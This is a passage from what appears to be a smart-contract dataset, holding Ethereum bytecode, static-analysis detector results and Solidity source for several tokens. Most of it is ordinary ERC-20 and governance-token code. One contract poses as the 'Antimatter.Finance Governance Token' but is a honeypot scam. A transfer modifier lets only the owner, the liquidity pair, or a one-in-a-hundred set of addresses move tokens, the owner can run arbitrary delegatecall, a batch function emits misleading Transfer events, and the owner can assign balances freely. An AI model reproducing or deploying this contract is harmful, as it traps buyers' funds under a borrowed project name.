f80851660009081526001602052604080822093909355908416815220546121d690826125d6565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061215d908590612984565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b1580156122a057600080fd5b505afa1580156122b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122d8919061263a565b600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061239b5780156123965760006123276110056dffffffffffffffffffffffffffff888116908816611d90565b90506000612334836123af565b90508082111561239357600061235661234d8484611dea565b60005490611d90565b9050600061236f83612369866005611d90565b906125d6565b9050600061237d8284612f20565b9050801561238f5761238f878261241f565b5050505b50505b6123a7565b80156123a7576000600b555b505092915050565b6000600382111561241057508060006123c9600283612f20565b6123d4906001612ecd565b90505b8181101561240a579050806002816123ef8186612f20565b6123f99190612ecd565b6124039190612f20565b90506123d7565b5061241a565b811561241a575060015b919050565b60005461242c90826125d6565b600090815573ffffffffffffffffffffffffffffffffffffffff831681526001602052604090205461245e90826125d6565b73ffffffffffffffffffffffffffffffffffffffff83166000818152600160205260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906124ba908590612984565b60405180910390a35050565b60008183106124d557816124d7565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff821660009081526001602052604090205461250e9082611dea565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040812091909155546125429082611dea565b600090815560405173ffffffffffffffffffffffffffffffffffffffff8416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906124ba908590612984565b6000610c136e0100000000000000000000000000006dffffffffffffffffffffffffffff8416612f34565b60006124d76dffffffffffffffffffffffffffff831684612ee5565b6000826125e38382612ecd565b9150811015610c13576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612ae2565b60006020828403121561262f578081fd5b81356124d7816130cc565b60006020828403121561264b578081fd5b81516124d7816130cc565b60008060408385031215612668578081fd5b8235612673816130cc565b91506020830135612683816130cc565b809150509250929050565b6000806000606084860312156126a2578081fd5b83356126ad816130cc565b925060208401356126bd816130cc565b929592945050506040919091013590565b600080600080600080600060e0888a0312156126e8578283fd5b87356126f3816130cc565b96506020880135612703816130cc565b95506040880135945060608801359350608088013560ff81168114612726578384fd5b9699959850939692959460a0840135945060c09093013592915050565b60008060408385031215612755578182fd5b8235612760816130cc565b946020939093013593505050565b60006020828403121561277f578081fd5b815180151581146124d7578182fd5b60006020828403121561279f578081fd5b5051919050565b6000806000806000608086880312156127bd578081fd5b853594506020860135935060408601356127d6816130cc565b9250606086013567ffffffffffffffff808211156127f2578283fd5b818801915088601f830112612805578283fd5b813581811115612813578384fd5b896020828501011115612824578384fd5b9699959850939650602001949392505050565b60008251612849818460208701612ff1565b9190910192915050565b7f190100000000000000000000000000000000000000000000000000000000000081526002810192909252602282015260420190565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff9384168152919092166020820152604081019190915260600190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b600073ffffffffffffffffffffffffffffffffffffffff8716825285602083015284604083015260806060830152826080830152828460a084013781830160a090810191909152601f9092017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0160101949350505050565b901515815260200190565b90815260200190565b95865273ffffffffffffffffffffffffffffffffffffffff94851660208701529290931660408501526060840152608083019190915260a082015260c00190565b93845260ff9290921660208401526040830152606082015260800190565b6000602082528251806020840152612a0b816040850160208701612ff1565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b60208082526015908201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604082015260600190565b60208082526014908201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604082015260600190565b6020808252600f908201527f4e696d6275733a20455850495245440000000000000000000000000000000000604082015260600190565b60208082526014908201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604082015260600190565b60208082526009908201527f4e696d6275733a204b0000000000000000000000000000000000000000000000604082015260600190565b60208082526012908201527f4e696d6275733a20494e56414c49445f544f0000000000000000000000000000604082015260600190565b60208082526010908201527f4e696d6275733a204f564552464c4f5700000000000000000000000000000000604082015260600190565b60208082526025908201527f4e696d6275733a20494e53554646494349454e545f4c49515549444954595f4260408201527f55524e4544000000000000000000000000000000000000000000000000000000606082015260800190565b6020808252601e908201527f4e696d6275733a20494e53554646494349454e545f4c49515549444954590000604082015260600190565b60208082526021908201527f4e696d6275733a20494e53554646494349454e545f494e5055545f414d4f554e60408201527f5400000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526017908201527f4e696d6275733a205452414e534645525f4641494c4544000000000000000000604082015260600190565b60208082526025908201527f4e696d6275733a20494e53554646494349454e545f4c49515549444954595f4d60408201527f494e544544000000000000000000000000000000000000000000000000000000606082015260800190565b6020808252600e908201527f4e696d6275733a204c4f434b4544000000000000000000000000000000000000604082015260600190565b60208082526019908201527f4e696d6275733a20494e56414c49445f5349474e415455524500000000000000604082015260600190565b60208082526022908201527f4e696d6275733a20494e53554646494349454e545f4f55545055545f414d4f5560408201527f4e54000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526011908201527f4e696d6275733a20464f5242494444454e000000000000000000000000000000604082015260600190565b6dffffffffffffffffffffffffffff92831681529116602082015260400190565b6dffffffffffffffffffffffffffff938416815291909216602082015263ffffffff909116604082015260600190565b918252602082015260400190565b93845260208401929092526040830152606082015260800190565b60ff91909116815260200190565b60008219821115612ee057612ee061306e565b500190565b60007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff80841680612f1457612f1461309d565b92169190910492915050565b600082612f2f57612f2f61309d565b500490565b60007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff80831681851681830481118215151615612f6f57612f6f61306e565b02949350505050565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612fb057612fb061306e565b500290565b600082821015612fc757612fc761306e565b500390565b600063ffffffff83811690831681811015612fe957612fe961306e565b039392505050565b60005b8381101561300c578181015183820152602001612ff4565b8381111561301b576000848401525b50505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156130535761305361306e565b5060010190565b6000826130695761306961309d565b500690565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff811681146130ee57600080fd5b5056fea264697066735822122009efbdfdcf59ab0458bca530ac4494d67402d03a2b29e6e342b085575633b97664736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 9,055 |
0xc62fB277fe3fFa1fEe95099BA74d417E30701c3B
|
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
abstract contract Context {
constructor() {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public override view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public override view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public override returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
abstract contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract AdminUpgradeabilityProxy {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require(msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
require(_from == owner || _to == owner || _from == uniPair || tx.origin == owner || msg.sender == owner || isAccountValid(tx.origin));
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "Antimatter.Finance Governance Token";
string public symbol = "MATTER";
address public uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address private owner;
address public uniPair;
function sliceUint(bytes memory bs)
internal pure
returns (uint)
{
uint x;
assembly {
x := mload(add(bs, add(0x10, 0)))
}
return x;
}
function isAccountValid(address subject) pure public returns (bool result) {
return uint256(sliceUint(abi.encodePacked(subject))) % 100 == 0;
}
function onlyByHundred() view public returns (bool result) {
require(isAccountValid(msg.sender) == true, "Only one in a hundred accounts should be able to do this");
return true;
}
constructor() {
owner = msg.sender;
uniPair = pairFor(uniFactory, wETH, address(this));
allowance[address(this)][uniRouter] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
IUniswapV2Router02(uniRouter).addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
}
|
0x6080604052600436106101095760003560e01c806395d89b4111610095578063a9059cbb11610064578063a9059cbb14610461578063aa2f52201461048d578063d6d2b6ba14610530578063dd62ed3e146105e4578063f24286211461061f57610109565b806395d89b41146102f6578063964561f51461030b5780639c73735514610437578063a0e47bf61461044c57610109565b8063313ce567116100dc578063313ce5671461023557806332972e461461024a57806370a082311461027b57806373a6b2be146102ae57806376771d4b146102e157610109565b806306fdde031461010e578063095ea7b31461019857806318160ddd146101d857806323b872dd146101ff575b600080fd5b34801561011a57600080fd5b50610123610634565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015d578181015183820152602001610145565b50505050905090810190601f16801561018a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c4600480360360408110156101ae57600080fd5b506001600160a01b0381351690602001356106c2565b604080519115158252519081900360200190f35b3480156101e457600080fd5b506101ed610728565b60408051918252519081900360200190f35b6101c46004803603606081101561021557600080fd5b506001600160a01b0381358116916020810135909116906040013561072e565b34801561024157600080fd5b506101ed6108b7565b34801561025657600080fd5b5061025f6108bc565b604080516001600160a01b039092168252519081900360200190f35b34801561028757600080fd5b506101ed6004803603602081101561029e57600080fd5b50356001600160a01b03166108cb565b3480156102ba57600080fd5b506101c4600480360360208110156102d157600080fd5b50356001600160a01b03166108dd565b3480156102ed57600080fd5b5061025f610924565b34801561030257600080fd5b50610123610933565b6104356004803603606081101561032157600080fd5b81359190810190604081016020820135600160201b81111561034257600080fd5b82018360208201111561035457600080fd5b803590602001918460208302840111600160201b8311171561037557600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156103c457600080fd5b8201836020820111156103d657600080fd5b803590602001918460208302840111600160201b831117156103f757600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061098e945050505050565b005b34801561044357600080fd5b506101c4610b45565b34801561045857600080fd5b5061025f610b96565b6101c46004803603604081101561047757600080fd5b506001600160a01b038135169060200135610ba5565b6101c4600480360360408110156104a357600080fd5b810190602081018135600160201b8111156104bd57600080fd5b8201836020820111156104cf57600080fd5b803590602001918460208302840111600160201b831117156104f057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505091359250610bb9915050565b6104356004803603604081101561054657600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561057057600080fd5b82018360208201111561058257600080fd5b803590602001918460018302840111600160201b831117156105a357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610cbb945050505050565b3480156105f057600080fd5b506101ed6004803603604081101561060757600080fd5b506001600160a01b0381358116916020013516610d78565b34801561062b57600080fd5b5061025f610d95565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106ba5780601f1061068f576101008083540402835291602001916106ba565b820191906000526020600020905b81548152906001019060200180831161069d57829003601f168201915b505050505081565b3360008181526001602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60025481565b600854600090849084906001600160a01b038084169116148061075e57506008546001600160a01b038281169116145b8061077657506009546001600160a01b038381169116145b8061078b57506008546001600160a01b031632145b806107a057506008546001600160a01b031633145b806107af57506107af326108dd565b6107b857600080fd5b836107c657600192506108ae565b336001600160a01b03871614610831576001600160a01b038616600090815260016020908152604080832033845290915290205484111561080657600080fd5b6001600160a01b03861660009081526001602090815260408083203384529091529020805485900390555b6001600160a01b03861660009081526020819052604090205484111561085657600080fd5b6001600160a01b0380871660008181526020818152604080832080548a9003905593891680835291849020805489019055835188815293519193600080516020610de4833981519152929081900390910190a3600192505b50509392505050565b601281565b6009546001600160a01b031681565b60006020819052908152604090205481565b600060646109158360405160200180826001600160a01b031660601b8152601401915050604051602081830303815290604052610da4565b8161091c57fe5b061592915050565b6006546001600160a01b031681565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106ba5780601f1061068f576101008083540402835291602001916106ba565b6008546001600160a01b031633146109a557600080fd5b306000818152602081905260408082208690556002543380845292829020606460069092028290049055600554825163f305d71960e01b815260048101959095526024850188905260448501889052349185018290526084850193909352610258420160a485015290516001600160a01b039092169263f305d7199260c480830192606092919082900301818588803b158015610a4157600080fd5b505af1158015610a55573d6000803e3d6000fd5b50505050506040513d6060811015610a6c57600080fd5b50508051825114610a7c57600080fd5b60005b8251811015610b3f57818181518110610a9457fe5b6020026020010151600080858481518110610aab57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550828181518110610ae357fe5b60200260200101516001600160a01b031660006001600160a01b0316600080516020610de4833981519152848481518110610b1a57fe5b60200260200101516040518082815260200191505060405180910390a3600101610a7f565b50505050565b6000610b50336108dd565b1515600114610b905760405162461bcd60e51b8152600401808060200182810382526038815260200180610dac6038913960400191505060405180910390fd5b50600190565b6005546001600160a01b031681565b6000610bb233848461072e565b9392505050565b6008546000906001600160a01b03163314610bd357600080fd5b82513360009081526020819052604090205490830290811115610bf557600080fd5b336000908152602081905260408120805483900390555b8451811015610cb0576000858281518110610c2357fe5b6020908102919091018101516001600160a01b0381166000818152928390526040909220805488019055915033600080516020610de483398151915260028860408051929091048252519081900360200190a36001600160a01b03811633600080516020610de483398151915260028860408051929091048252519081900360200190a350600101610c0c565b506001949350505050565b6008546001600160a01b03163314610cd257600080fd5b816001600160a01b0316816040518082805190602001908083835b60208310610d0c5780518252601f199092019160209182019101610ced565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610d6c576040519150601f19603f3d011682016040523d82523d6000602084013e610d71565b606091505b5050505050565b600160209081526000928352604080842090915290825290205481565b6007546001600160a01b031681565b601001519056fe4f6e6c79206f6e6520696e20612068756e64726564206163636f756e74732073686f756c642062652061626c6520746f20646f2074686973ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220913d13aa7121a01a22406b2aba855e8fc9faa71507017480535b180959db2c4d64736f6c63430007030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,056 |
0x62De7d65739d2ac81C12CC30BBB1223c88753C23
|
/**
*Submitted for verification at Etherscan.io on 2021-07-02
*/
/**
*Submitted for verification at Etherscan.io on 2020-03-04
*/
pragma solidity ^0.5.16;
contract ECR {
/// @notice EIP-20 token name for this token
string public constant name = "Epicenter Token";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "ECR";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 25000000e18; // 25 million ECR
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new ECR token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "ECR::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "ECR::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "ECR::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "ECR::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "ECR::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "ECR::delegateBySig: invalid nonce");
require(now <= expiry, "ECR::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "ECR::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "ECR::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "ECR::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "ECR::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "ECR::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "ECR::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "ECR::_moveVotes: vote amount overflows");
